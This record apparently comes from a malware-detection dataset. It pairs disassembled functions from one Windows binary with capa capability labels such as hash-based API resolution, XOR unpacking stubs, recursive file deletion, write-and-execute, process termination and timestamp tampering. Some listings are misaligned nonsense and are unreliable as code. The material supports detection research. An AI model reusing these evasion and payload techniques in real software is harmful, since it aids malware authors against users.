joyce8/EMBER2024-capa huggingface dataset:
Function at 0x4070d0
Capabilities:
Encode data using xor

Disassembly:
push ebp
mov ecx, dword [ebp - 0x7f]
in al, dx
push esp
add al, byte [eax]
add byte [ebx + 0x56530cc6], cl
mov eax, esi
or al, 0x53
push esi
xor edx, ebp
mov eax, dword [ecx]
jo 0x407135
add al, 0x89
call 0x1085fcdf
push edi
mov dword [ebp - 0x14], esi
mov al, byte [eax]
mov dword [0x89c084fc], edi
jne 0x4070d9
mov dword [ebp - 0x10], esi
mov dword [ebp - 0x28], esi
mov dword [ebp - 0x24], edx
clc
test byte [edx - 0x74ffff9f], ch
pop ebp
adc edi, dword [esp + edx*4]
xor eax, 0xf4458b3c
test dword [ebp - 0x58c4d28c], esi
mov dh, 0xbd
push 0x57f27d8b
mov dword [edi], eax
salc
push ebp
or byte [ebx - 0x3fe0fb3c], al
bswap esi
xchg esp, eax
or ch, byte [eax]
dec ecx
lcall 0x4d89, 0x4e8b434f
dec ebp
fmul qword [ebx - 0x76f332ab]
push es
hlt

Function at 0x40b2d0
Capabilities:
Access peb ldr_data
Resolve function by parsing pe exports

Disassembly:
adc dword [ebx - 0x2efcafaa], ecx
mov ebx, dword [edx + 0x54]
adc ecx, 0x31
jp 0x40b30f
push eax
mov dword [esi + 0x54], ecx
mov ecx, dword [ebp + 0x14]
or dl, byte [ebp + 0x10]
pop ebx
pop edi
mov dword [ecx], edx
pop esi
pop ebp
ret
dec ebx
imul ebp, esp, 0x758b4951
fimul word [edx - 0x3f7bd3ba]
psrlq mm7, qword [esi + 0x3e000000]
dec esi
je 0x40b31a
rcl byte [ebx - 0x7d], 0xf9
add dword [edi - 0x77], edx
inc ebp
push ecx
mov dword [ebp + 8], eax
jne 0x40b395
mov edi, dword [ebx + 0xff8ce3c]
test byte [eax - 0x28ff6800], ah
pop esi
cmp byte [ebx + 0x576ffab], al
or eax, 0xffffffff
jmp 0x40b32f
out dx, al
xchg byte [eax + 0x53], dl
push edx
inc eax
adc al, 0xc0
inc eax
jl 0x40b2ab
rcl byte [eax + 0x2f], 0x8b
inc ebp
cld
mov ebp, dword [ecx + ebp*2 + 0x34b4e8b]
rol byte [ebx - 0x7d4ff2f], 1
mov ecx, dword [esi + 0x4b]
add edx, eax
adc ecx, 0
sub edi, eax
add ebx, eax
cmp dword [esi - 0x10], edx
xchg ebp, eax
invalid
push ss

Function at 0x40b549
Capabilities:
Resolve function by parsing pe exports

Disassembly:
or dword [ebx - 0x5217f9f8], 0x31b5c5d7
rol cl, 0xcf
iretd
or eax, 0x4c0bebac
push edi
push ss
mov ecx, 0xa0f4cb62
mov edi, 0xc7019350
Function at 0x40b590
Capabilities:
Resolve function by parsing pe exports

Disassembly:
nop
jmp 0x40b3ca
xor edi, edi
mov esi, dword [edx + 0x28]
movzx ecx, word [edx + 0x26]
nop
xor eax, eax
jmp 0x40b3e1
lodsb al, byte [esi]
nop
jmp 0x40b3f4
cmp al, 0x61
nop
jmp 0x40b405
jl 0x40b419
sub al, 0x20
nop
jmp 0x40b419
ror edi, 0xd
jmp 0x40b42c
add edi, eax
dec ecx
nop
jmp 0x40b440
jne 0x40b3d4
nop
nop
push edx
nop
jmp 0x40b458
mov edx, dword [edx + 0x10]
nop
jmp 0x40b46b
mov eax, dword [edx + 0x3c]
jmp 0x40b479
push edi
jmp 0x40b484
add eax, edx
jmp 0x40b491
mov eax, dword [eax + 0x78]
test eax, eax
nop
jmp 0x40b4a2
je 0x40b65f
nop
jmp 0x40b4b4
jmp 0x40b4c4
add eax, edx
nop
mov ecx, dword [eax + 0x18]
nop
jmp 0x40b4da
mov ebx, dword [eax + 0x20]
push eax
nop
add ebx, edx
nop
jmp 0x40b4ee
nop
jmp 0x40b500
test ecx, ecx
nop
je 0x40b65c
jmp 0x40b517
jmp 0x40b527
xor edi, edi
dec ecx
nop
mov esi, dword [ebx + ecx*4]
xor al, 0x8b
jmp 0x40b53f
add esi, edx
jmp 0x40b552
xor eax, eax
ror edi, 0xd
iretd
invalid
lodsb al, byte [esi]
jmp 0x40b565
add edi, eax
cmp al, ah
jne 0x40b541
nop
nop
jmp 0x40b57d
add edi, dword [ebp - 8]
jmp 0x40b58d
cmp edi, dword [ebp + 0x24]
jne 0x40b4ee
jmp 0x40b5a0
pop eax
nop
mov ebx, dword [eax + 0x24]
jmp 0x40b5b7
add ebx, edx
mov cx, word [ebx + ecx*2]
jmp 0x40b5cf
mov ebx, dword [eax + 0x1c]
jmp 0x40b5e0
add ebx, edx
nop
mov eax, dword [ebx + ecx*4]
jmp 0x40b5f8
add eax, edx
jmp 0x40b608
mov dword [esp + 0x24], eax
jmp 0x40b61f
pop ebx
jmp 0x40b633
pop ebx
popal
pop ecx
jmp 0x40b646
pop edx
nop
jmp 0x40b657
push ecx
nop
jmp eax
nop
pop eax
nop
jmp 0x40b672
pop edi
pop edx
nop
mov edx, dword [edx]
nop
jmp 0x40b685
jmp 0x40b3bd

Function at 0x433005
Capabilities:
Encode data using xor
Packed with generic packer

Disassembly:
pushal
call 0x43300c
nop
nop
nop
nop
pop eax
nop
add eax, 0x40a063
nop
sub eax, 0x40a009
nop
nop
nop
mov ebx, dword [eax]
nop
nop
mov ecx, dword [eax + 4]
nop
nop
nop
nop
mov edx, dword [eax + 8]
nop
nop
nop
nop
nop
nop
xor dword [ebx], edx
nop
add ebx, 4
nop
nop
nop
nop
nop
cmp ebx, ecx
nop
nop
nop
jl 0x433030
nop
nop
nop
add eax, 0xc
nop
nop
nop
nop
nop
cmp dword [eax], 0
jne 0x43301e
nop
nop
nop
nop
nop
popal
nop
nop
nop
nop
jmp 0x431219
Function at 0x430000
Capabilities:
Encode data using xor
Packed with generic packer

Disassembly:
pushal
nop
nop
nop
nop
nop
mov eax, section..text
nop
nop
nop
push 4
nop
nop
nop
nop
pop edi
nop
nop
nop
nop
nop
nop
cmp eax, 0
nop
nop
je 0x430072
nop
nop
nop
mov ebx, 0x408ecc
nop
mov ecx, ebx
nop
nop
nop
nop
nop
sub ecx, eax
nop
nop
nop
nop
nop
xor edx, edx
nop
nop
push eax
nop
nop
nop
nop
nop
mov eax, ecx
nop
nop
nop
nop
div edi
nop
nop
nop
nop
xchg ecx, eax
nop
nop
nop
nop
nop
nop
nop
nop
pop eax
nop
mov esi, 0x21913f73
nop
xor dword [eax], esi
nop
nop
nop
nop
add eax, edi
nop
nop
nop
nop
nop
nop
nop
nop
loop 0x430060
nop
mov eax, section..data
nop
nop
cmp eax, 0
nop
nop
nop
je 0x4300d2
nop
nop
nop
mov ebx, 0x42e1d0
nop
mov ecx, ebx
nop
nop
nop
nop
nop
sub ecx, eax
nop
nop
xor edx, edx
nop
nop
nop
nop
nop
nop
nop
push eax
nop
nop
nop
nop
mov eax, ecx
nop
nop
div edi
nop
nop
nop
nop
nop
nop
nop
nop
nop
xchg ecx, eax
nop
nop
nop
nop
pop eax
nop
mov esi, 0x177b4228
nop
xor dword [eax], esi
nop
nop
nop
nop
nop
nop
nop
add eax, edi
nop
nop
loop 0x4300c0
nop
nop
nop
nop
nop
popal
nop
nop
nop
jmp 0x401219
Function at 0x404a7c
Capabilities:
Write file on windows

Disassembly:
push ebp
mov ebp, esp
add esp, 0xfffffff4
push 0xfffffffffffffff5
call sub.kernel32.dll_GetStdHandle
mov dword [ebp - 4], eax
push dword [ebp + 8]
call fcn.00404bb0
mov dword [ebp - 0xc], eax
push 0
lea eax, [ebp - 8]
push eax
push dword [ebp - 0xc]
push dword [ebp + 8]
push dword [ebp - 4]
call sub.kernel32.dll_WriteFile
mov eax, dword [ebp - 8]
leave
ret 4
Function at 0x4026c0
Capabilities:
Accept command line arguments

Disassembly:
push ebx
push esi
push edi
add esp, 0xfffffef8
mov ebx, edx
mov esi, eax
mov eax, ebx
call fcn.00403208
test esi, esi
jne 0x4026f6
push 0x105
lea eax, [esp + 4]
push eax
push 0
call sub.kernel32.dll_GetModuleFileNameA
mov ecx, eax
mov edx, esp
mov eax, ebx
call fcn.004032f8
jmp 0x402714
call sub.kernel32.dll_GetCommandLineA
mov edi, eax
mov edx, ebx
mov eax, edi
call fcn.004025d4
mov edi, eax
test esi, esi
je 0x402714
cmp dword [ebx], 0
je 0x402714
dec esi
jmp 0x4026fd
add esp, 0x108
pop edi
pop esi
pop ebx
ret

Function at 0x402808
Capabilities:
Generate random numbers using the delphi lcg

Disassembly:
push ebx
xor ebx, ebx
imul edx, dword [ebx + 0x419008], 0x8088405
inc edx
mov dword [ebx + 0x419008], edx
mul edx
mov eax, edx
pop ebx
ret

Function at 0x402930
Capabilities:
Query or enumerate registry value

Disassembly:
push ebp
mov ebp, esp
add esp, 0xfffffff4
movzx eax, word [0x419018]
mov dword [ebp - 8], eax
lea eax, [ebp - 4]
push eax
push 1
push 0
push 0x4029c8
push 0x80000002
call sub.advapi32.dll_RegOpenKeyExA
test eax, eax
jne 0x4029a8
xor eax, eax
push ebp
push 0x4029a1
push dword fs:[eax]
mov dword fs:[eax], esp
mov dword [ebp - 0xc], 4
lea eax, [ebp - 0xc]
push eax
lea eax, [ebp - 8]
push eax
push 0
push 0
push 0x4029e4
mov eax, dword [ebp - 4]
push eax
call sub.advapi32.dll_RegQueryValueExA
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
push 0x4029a8
mov eax, dword [ebp - 4]
push eax
call sub.advapi32.dll_RegCloseKey
ret
mov ax, word [0x419018]
and ax, 0xffc0
mov dx, word [ebp - 8]
and dx, 0x3f
or ax, dx
mov word [0x419018], ax
mov esp, ebp
pop ebp
ret

Function at 0x403010
Capabilities:
Write file on windows

Disassembly:
push ecx
cmp byte [0x41a034], 0
je 0x403071
cmp word [0x41a208], 0xd7b2
jne 0x403039
cmp dword [0x41a210], 0
jbe 0x403039
mov eax, 0x41a204
call dword [0x41a220]
push 0
lea eax, [esp + 4]
push eax
push 0x1e
push 0x419060
push 0xfffffffffffffff5
call sub.kernel32.dll_GetStdHandle
push eax
call sub.kernel32.dll_WriteFile
push 0
lea eax, [esp + 4]
push eax
push 2
push 0x403098
push 0xfffffffffffffff5
call sub.kernel32.dll_GetStdHandle
push eax
call sub.kernel32.dll_WriteFile
pop edx
ret
cmp byte [0x419024], 0
jne 0x40308d
push 0
push 0x419058
push 0x419060
push 0
call sub.user32.dll_MessageBoxA
pop edx
ret

Function at 0x4031c4
Capabilities:
Create thread

Disassembly:
push ebp
mov ebp, esp
push ebx
push esi
push edi
mov edi, ecx
mov esi, edx
mov ebx, eax
mov eax, 8
call fcn.00402490
mov dword [eax], edi
mov edx, dword [ebp + 0x10]
mov dword [eax + 4], edx
mov byte [0x41a035], 1
mov edx, dword [ebp + 8]
push edx
mov edx, dword [ebp + 0xc]
push edx
push eax
mov eax, 0x40318c
push eax
push esi
push ebx
call sub.kernel32.dll_CreateThread
pop edi
pop esi
pop ebx
pop ebp
ret 0xc
Function at 0x403e58
Capabilities:
Get geographical location

Disassembly:
push ebp
mov ebp, esp
add esp, 0xfffffff0
push ebx
xor edx, edx
mov dword [ebp - 0x10], edx
xor edx, edx
push ebp
push 0x403ebe
push dword fs:[edx]
mov dword fs:[edx], esp
push 7
lea edx, [ebp - 0xb]
push edx
push 0x1004
push eax
call sub.kernel32.dll_GetLocaleInfoA
lea eax, [ebp - 0x10]
lea edx, [ebp - 0xb]
mov ecx, 7
call fcn.00403374
mov eax, dword [ebp - 0x10]
lea edx, [ebp - 4]
call fcn.00402824
mov ebx, eax
cmp dword [ebp - 4], 0
je 0x403ea8
xor ebx, ebx
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
push 0x403ec5
lea eax, [ebp - 0x10]
call fcn.00403208
ret

Function at 0x404b68
Capabilities:
Read file on windows

Disassembly:
push ebp
mov ebp, esp
add esp, 0xfffffff8
push ebx
push esi
mov ebx, edx
mov dword [ebp - 4], eax
mov eax, dword [ebp - 4]
call fcn.0040357c
xor eax, eax
push ebp
push 0x404c2f
push dword fs:[eax]
mov dword fs:[eax], esp
mov eax, ebx
call fcn.00403208
push 0
push 0x80
push 3
push 0
push 1
push 0x80000000
mov eax, dword [ebp - 4]
call fcn.0040358c
push eax
call sub.kernel32.dll_CreateFileA
mov esi, eax
cmp esi, 0xffffffff
je 0x404c19
mov eax, ebx
mov edx, 0x73
call fcn.0040366c
push 0
lea eax, [ebp - 8]
push eax
push 0x73
mov eax, ebx
call fcn.004035dc
push eax
push esi
call sub.kernel32.dll_ReadFile
push esi
call sub.kernel32.dll_CloseHandle
mov edx, dword [ebx]
mov eax, 0x404c44
call fcn.00403624
test eax, eax
jne 0x404bfa
mov eax, ebx
call fcn.00403208
jmp 0x404c19
push ebx
mov edx, dword [ebx]
mov eax, 0x404c50
call fcn.00403624
mov ecx, eax
dec ecx
sub ecx, 0x50
mov eax, dword [ebx]
mov edx, 0x51
call fcn.004035e4
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
push 0x404c36
lea eax, [ebp - 4]
call fcn.00403208
ret

Function at 0x404c54
Capabilities:
Read file on windows

Disassembly:
push ebp
mov ebp, esp
add esp, 0xffffff6c
push ebx
push esi
xor edx, edx
mov dword [ebp - 8], edx
mov dword [ebp - 4], eax
mov eax, dword [ebp - 4]
call fcn.0040357c
xor eax, eax
push ebp
push 0x404cfc
push dword fs:[eax]
mov dword fs:[eax], esp
xor ebx, ebx
push 0
lea eax, [ebp - 0x94]
push eax
mov eax, dword [ebp - 4]
call fcn.0040358c
push eax
call sub.kernel32.dll_OpenFile
mov esi, eax
cmp esi, 0xffffffff
je 0x404ce1
lea eax, [ebp - 8]
mov edx, 0x186a0
call fcn.0040366c
push 0
lea eax, [ebp - 0xc]
push eax
push 0x186a0
lea eax, [ebp - 8]
call fcn.004035dc
push eax
push esi
call sub.kernel32.dll_ReadFile
test eax, eax
je 0x404ce1
push esi
call sub.kernel32.dll_CloseHandle
mov edx, dword [ebp - 8]
mov eax, 0x404d14
call fcn.00403624
test eax, eax
jle 0x404ce1
mov bl, 1
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
push 0x404d03
lea eax, [ebp - 8]
mov edx, 2
call fcn.0040322c
ret
Function at 0x404d2c
Capabilities:
Copy file

Disassembly:
push ebp
mov ebp, esp
add esp, 0xfffffff8
push ebx
mov ebx, ecx
mov dword [ebp - 8], edx
mov dword [ebp - 4], eax
mov eax, dword [ebp - 4]
call fcn.0040357c
mov eax, dword [ebp - 8]
call fcn.0040357c
xor eax, eax
push ebp
push 0x404dae
push dword fs:[eax]
mov dword fs:[eax], esp
xor bl, 1
neg bl
sbb eax, eax
push eax
mov eax, dword [ebp - 8]
call fcn.0040358c
push eax
mov eax, dword [ebp - 4]
call fcn.0040358c
push eax
call sub.kernel32.dll_CopyFileA
cmp eax, 1
sbb eax, eax
inc eax
mov ebx, eax
test byte [ebp + 0x10], bl
je 0x404d93
mov ecx, dword [ebp + 8]
mov edx, dword [ebp + 0xc]
mov eax, dword [ebp - 8]
call fcn.0040526c
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
push 0x404db5
lea eax, [ebp - 8]
mov edx, 2
call fcn.0040322c
ret

Function at 0x404e0c
Capabilities:
Delete directory
Delete file
Enumerate files on windows
Enumerate files recursively
Set file attributes

Disassembly:
push ebp
mov ebp, esp
add esp, 0xfffffea8
push ebx
push esi
xor edx, edx
mov dword [ebp - 0x158], edx
mov dword [ebp - 0x154], edx
mov dword [ebp - 0x150], edx
mov dword [ebp - 8], edx
mov dword [ebp - 0xc], edx
mov dword [ebp - 4], eax
mov eax, dword [ebp - 4]
call fcn.0040357c
xor eax, eax
push ebp
push 0x404f9c
push dword fs:[eax]
mov dword fs:[eax], esp
mov eax, dword [ebp - 4]
call fcn.0040338c
cmp eax, 2
jl 0x404f71
lea eax, [ebp - 0x14c]
push eax
lea eax, [ebp - 0x150]
mov ecx, 0x404fb4
mov edx, dword [ebp - 4]
call fcn.004033d8
mov eax, dword [ebp - 0x150]
call fcn.0040358c
push eax
call sub.kernel32.dll_FindFirstFileA
mov ebx, eax
cmp ebx, 0xffffffff
je 0x404f49
lea eax, [ebp - 0x154]
lea edx, [ebp - 0x120]
mov ecx, 0x104
call fcn.00403374
mov ecx, dword [ebp - 0x154]
lea eax, [ebp - 8]
mov edx, dword [ebp - 4]
call fcn.004033d8
lea eax, [ebp - 0xc]
lea edx, [ebp - 0x120]
mov ecx, 0x104
call fcn.00403374
test byte [ebp - 0x14c], 0x10
je 0x404f12
mov eax, dword [ebp - 0xc]
mov edx, 0x404fc0
call fcn.004034d8
je 0x404f34
mov eax, dword [ebp - 0xc]
mov edx, 0x404fcc
call fcn.004034d8
je 0x404f34
lea eax, [ebp - 0x158]
mov ecx, 0x404fd8
mov edx, dword [ebp - 8]
call fcn.004033d8
mov eax, dword [ebp - 0x158]
call fcn.00404e0c
jmp 0x404f34
mov eax, dword [ebp - 8]
call fcn.0040358c
mov esi, eax
push esi
call sub.kernel32.dll_DeleteFileA
test eax, eax
jne 0x404f34
push 0x20
push esi
call sub.kernel32.dll_SetFileAttributesA
push esi
call sub.kernel32.dll_DeleteFileA
lea eax, [ebp - 0x14c]
push eax
push ebx
call sub.kernel32.dll_FindNextFileA
test eax, eax
jne 0x404e91
push ebx
call sub.kernel32.dll_FindClose
mov eax, dword [ebp - 4]
call fcn.0040358c
mov ebx, eax
push ebx
call sub.kernel32.dll_RemoveDirectoryA
test eax, eax
jne 0x404f71
push 0x20
push ebx
call sub.kernel32.dll_SetFileAttributesA
push ebx
call sub.kernel32.dll_RemoveDirectoryA
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
push 0x404fa3
lea eax, [ebp - 0x158]
mov edx, 3
call fcn.0040322c
lea eax, [ebp - 0xc]
mov edx, 3
call fcn.0040322c
ret
Function at 0x405034
Capabilities:
Create process on windows
Write and execute a file
Write file on windows

Disassembly:
push ebp
mov ebp, esp
add esp, 0xfffffff4
push ebx
xor edx, edx
mov dword [ebp - 0xc], edx
mov dword [ebp - 4], eax
mov eax, dword [ebp - 4]
call fcn.0040357c
xor eax, eax
push ebp
push 0x4050d9
push dword fs:[eax]
mov dword fs:[eax], esp
push 0
push 0x80
push 2
push 0
push 2
push 0x40000000
push 0x4050e8
call sub.kernel32.dll_CreateFileA
mov ebx, eax
cmp ebx, 0xffffffff
je 0x4050bb
push 0
lea eax, [ebp - 8]
push eax
push 0x26
mov eax, 0x4050f8
call fcn.0040358c
push eax
push ebx
call sub.kernel32.dll_WriteFile_1
push ebx
call sub.kernel32.dll_CloseHandle
push 0
lea eax, [ebp - 0xc]
mov ecx, dword [ebp - 4]
mov edx, 0x405128
call fcn.004033d8
mov eax, dword [ebp - 0xc]
call fcn.0040358c
push eax
call sub.kernel32.dll_WinExec
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
push 0x4050e0
lea eax, [ebp - 0xc]
call fcn.00403208
lea eax, [ebp - 4]
call fcn.00403208
ret

Function at 0x405130
Capabilities:
Terminate process

Disassembly:
push ebp
mov ebp, esp
add esp, 0xfffffec8
push ebx
push esi
push edi
xor edx, edx
mov dword [ebp - 0x134], edx
mov dword [ebp - 0x138], edx
mov dword [ebp - 0x130], edx
mov dword [ebp - 4], eax
mov eax, dword [ebp - 4]
call fcn.0040357c
lea edi, [ebp - 0x12c]
xor eax, eax
push ebp
push 0x405240
push dword fs:[eax]
mov dword fs:[eax], esp
xor ebx, ebx
lea edx, [ebp - 0x130]
mov eax, dword [ebp - 4]
call fcn.00404964
mov edx, dword [ebp - 0x130]
lea eax, [ebp - 4]
call fcn.004032a0
xor edx, edx
mov eax, 2
call fcn.00404730
mov esi, eax
mov dword [edi], 0x128
mov edx, edi
mov eax, esi
call fcn.00404750
cmp eax, 1
sbb eax, eax
inc eax
jmp 0x405210
lea eax, [ebp - 0x138]
lea edx, [edi + 0x24]
mov ecx, 0x104
call fcn.00403374
mov eax, dword [ebp - 0x138]
lea edx, [ebp - 0x134]
call fcn.00404964
mov eax, dword [ebp - 0x134]
mov edx, dword [ebp - 4]
call fcn.004034d8
jne 0x405201
push 0
mov eax, dword [edi + 8]
push eax
push 0
push 1
call sub.kernel32.dll_OpenProcess
push eax
call sub.kernel32.dll_TerminateProcess
cmp eax, 1
sbb ebx, ebx
inc ebx
mov edx, edi
mov eax, esi
call fcn.00404770
cmp eax, 1
sbb eax, eax
inc eax
test al, al
jne 0x4051b2
push esi
call sub.kernel32.dll_CloseHandle
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
push 0x405247
lea eax, [ebp - 0x138]
mov edx, 3
call fcn.0040322c
lea eax, [ebp - 4]
call fcn.00403208
ret
Function at 0x40526c
Capabilities:
Get file size
Write file on windows

Disassembly:
push ebp
mov ebp, esp
add esp, 0xffffffcc
push ebx
push esi
push edi
xor ebx, ebx
mov dword [ebp - 0x24], ebx
mov esi, ecx
mov edi, edx
mov dword [ebp - 4], eax
mov eax, dword [ebp - 4]
call fcn.0040357c
xor eax, eax
push ebp
push 0x405485
push dword fs:[eax]
mov dword fs:[eax], esp
push 0
push 0x80
push 3
push 0
push 0
push 0x40000000
mov eax, dword [ebp - 4]
call fcn.0040358c
push eax
call sub.kernel32.dll_CreateFileA
mov ebx, eax
cmp ebx, 0xffffffff
je 0x405461
mov eax, 0x7ffffffe
call fcn.00402808
mov dword [ebp - 0x30], eax
fild dword [ebp - 0x30]
call fcn.00402748
add eax, 0x200800
push eax
mov eax, 0x38b14001
call fcn.00402808
mov dword [ebp - 0x34], eax
fild dword [ebp - 0x34]
call fcn.00402748
pop edx
add edx, eax
mov dword [ebp - 0x10], edx
mov eax, 0x47a7c
call fcn.00402808
mov dword [ebp - 0x30], eax
fild dword [ebp - 0x30]
call fcn.00402748
add eax, 0x1bf53d2
mov dword [ebp - 0xc], eax
mov eax, 0x7ffffffe
call fcn.00402808
mov dword [ebp - 0x30], eax
fild dword [ebp - 0x30]
call fcn.00402748
add eax, 0x200800
push eax
mov eax, 0x38b14001
call fcn.00402808
mov dword [ebp - 0x34], eax
fild dword [ebp - 0x34]
call fcn.00402748
pop edx
add edx, eax
mov dword [ebp - 0x18], edx
mov eax, 0x47a7c
call fcn.00402808
mov dword [ebp - 0x30], eax
fild dword [ebp - 0x30]
call fcn.00402748
add eax, 0x1bf53d2
mov dword [ebp - 0x14], eax
mov eax, 0x7ffffffe
call fcn.00402808
mov dword [ebp - 0x30], eax
fild dword [ebp - 0x30]
call fcn.00402748
add eax, 0x200800
push eax
mov eax, 0x38b14001
call fcn.00402808
mov dword [ebp - 0x34], eax
fild dword [ebp - 0x34]
call fcn.00402748
pop edx
add edx, eax
mov dword [ebp - 0x20], edx
mov eax, 0x47a7c
call fcn.00402808
mov dword [ebp - 0x30], eax
fild dword [ebp - 0x30]
call fcn.00402748
add eax, 0x1bf53d2
mov dword [ebp - 0x1c], eax
lea eax, [ebp - 0x20]
push eax
lea eax, [ebp - 0x18]
push eax
lea eax, [ebp - 0x10]
push eax
push ebx
call sub.kernel32.dll_SetFileTime
mov eax, edi
call fcn.00402808
mov dword [ebp - 0x30], eax
fild dword [ebp - 0x30]
call fcn.00402748
mov edi, eax
lea eax, [ebp - 0x2c]
push eax
push ebx
call sub.kernel32.dll_GetFileSize
test edi, edi
jbe 0x40545b
cmp esi, dword [ebp - 0x2c]
jbe 0x40545b
push edi
lea eax, [ebp - 0x24]
mov ecx, 1
mov edx, dword [0x405250]
call fcn.00403cc8
add esp, 4
mov esi, edi
dec esi
test esi, esi
jl 0x405433
inc esi
mov dword [ebp - 0x28], 0
mov eax, pe_nt_image_headers32
call fcn.00402808
mov edx, dword [ebp - 0x24]
mov ecx, dword [ebp - 0x28]
mov byte [edx + ecx], al
inc dword [ebp - 0x28]
dec esi
jne 0x40541a
push 2
push 0
push 0
push ebx
call sub.kernel32.dll_SetFilePointer
push 0
lea eax, [ebp - 8]
push eax
push edi
mov eax, dword [ebp - 0x24]
push eax
push ebx
call sub.kernel32.dll_WriteFile_1
test eax, eax
jne 0x40545b
mov dword [ebp - 8], 0xffffffff
push ebx
call sub.kernel32.dll_CloseHandle
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
push 0x40548c
lea eax, [ebp - 0x24]
mov edx, dword [0x405250]
call fcn.00403cd4
lea eax, [ebp - 4]
call fcn.00403208
ret
Function at 0x405530
Capabilities:
Check for time delay via queryperformancecounter

Disassembly:
add esp, 0xffffffd8
lea eax, [esp + 8]
push eax
call sub.kernel32.dll_QueryPerformanceFrequency
lea eax, [esp + 0x10]
push eax
call sub.kernel32.dll_QueryPerformanceCounter_1
mov eax, dword [esp + 0x10]
mov edx, dword [esp + 0x14]
add eax, dword [esp + 8]
adc edx, dword [esp + 0xc]
mov dword [esp + 0x18], eax
mov dword [esp + 0x1c], edx
call fcn.0040552c
mov dword [esp + 0x20], eax
mov dword [esp + 0x24], edx
lea eax, [esp + 0x10]
push eax
call sub.kernel32.dll_QueryPerformanceCounter_1
mov eax, dword [esp + 0x10]
mov edx, dword [esp + 0x14]
cmp edx, dword [esp + 0x1c]
jne 0x40558c
cmp eax, dword [esp + 0x18]
jb 0x40556c
jmp 0x40558e
jl 0x40556c
call fcn.0040552c
sub eax, dword [esp + 0x20]
sbb edx, dword [esp + 0x24]
mov dword [esp], eax
mov dword [esp + 4], edx
mov eax, dword [esp]
mov edx, dword [esp + 4]
add esp, 0x28
ret

Function at 0x405aa4
Capabilities:
Get graphical window text

Disassembly:
push ebp
mov ebp, esp
add esp, 0xfffffefc
push ebx
xor eax, eax
mov dword [ebp - 4], eax
xor eax, eax
push ebp
push 0x405b3a
push dword fs:[eax]
mov dword fs:[eax], esp
push 0xfa
lea eax, [ebp - 0x104]
push eax
call sub.user32.dll_GetForegroundWindow
push eax
call sub.user32.dll_GetWindowTextA
lea eax, [ebp - 4]
lea edx, [ebp - 0x104]
mov ecx, pe_nt_image_headers32
call fcn.00403374
mov edx, dword [ebp - 4]
mov eax, 0x405b50
call fcn.00403624
test eax, eax
jne 0x405b22
mov edx, dword [ebp - 4]
mov eax, 0x405b60
call fcn.00403624
test eax, eax
jne 0x405b22
mov edx, dword [ebp - 4]
mov eax, 0x405b74
call fcn.00403624
test eax, eax
jne 0x405b22
xor ebx, ebx
jmp 0x405b24
mov bl, 1
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
push 0x405b41
lea eax, [ebp - 4]
call fcn.00403208
ret

Function at 0x405b84
Capabilities:
Get hostname

Disassembly:
push ebp
mov ebp, esp
add esp, 0xffffffe4
push ebx
xor edx, edx
mov dword [ebp - 0x1c], edx
mov ebx, eax
xor eax, eax
push ebp
push 0x405be4
push dword fs:[eax]
mov dword fs:[eax], esp
mov dword [ebp - 4], 0x10
lea eax, [ebp - 4]
push eax
lea eax, [ebp - 0x15]
push eax
call sub.kernel32.dll_GetComputerNameA
lea eax, [ebp - 0x1c]
lea edx, [ebp - 0x15]
mov ecx, 0x11
call fcn.00403374
mov eax, dword [ebp - 0x1c]
mov edx, ebx
call fcn.00404928
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
push 0x405beb
lea eax, [ebp - 0x1c]
call fcn.00403208
ret

Function at 0x405bf0
Capabilities:
Get common file path

Disassembly:
push ebp
mov ebp, esp
add esp, 0xfffffef4
push ebx
xor edx, edx
mov dword [ebp - 0x10c], edx
mov ebx, eax
xor eax, eax
push ebp
push 0x405c6f
push dword fs:[eax]
mov dword fs:[eax], esp
push 0x104
lea eax, [ebp - 0x105]
push eax
call sub.kernel32.dll_GetWindowsDirectoryA
lea eax, [ebp - 0x10c]
lea edx, [ebp - 0x105]
mov ecx, 0x105
call fcn.00403374
lea eax, [ebp - 0x10c]
mov edx, 0x405c84
call fcn.00403394
mov eax, dword [ebp - 0x10c]
mov edx, ebx
shr eax, cl
push cs
in eax, dx
invalid
push dword [ebx]
rcr byte [edx + 0x59], 0x59
mov dword fs:[eax], edx
push 0x405c76
lea eax, [ebp - 0x10c]
call fcn.00403208
ret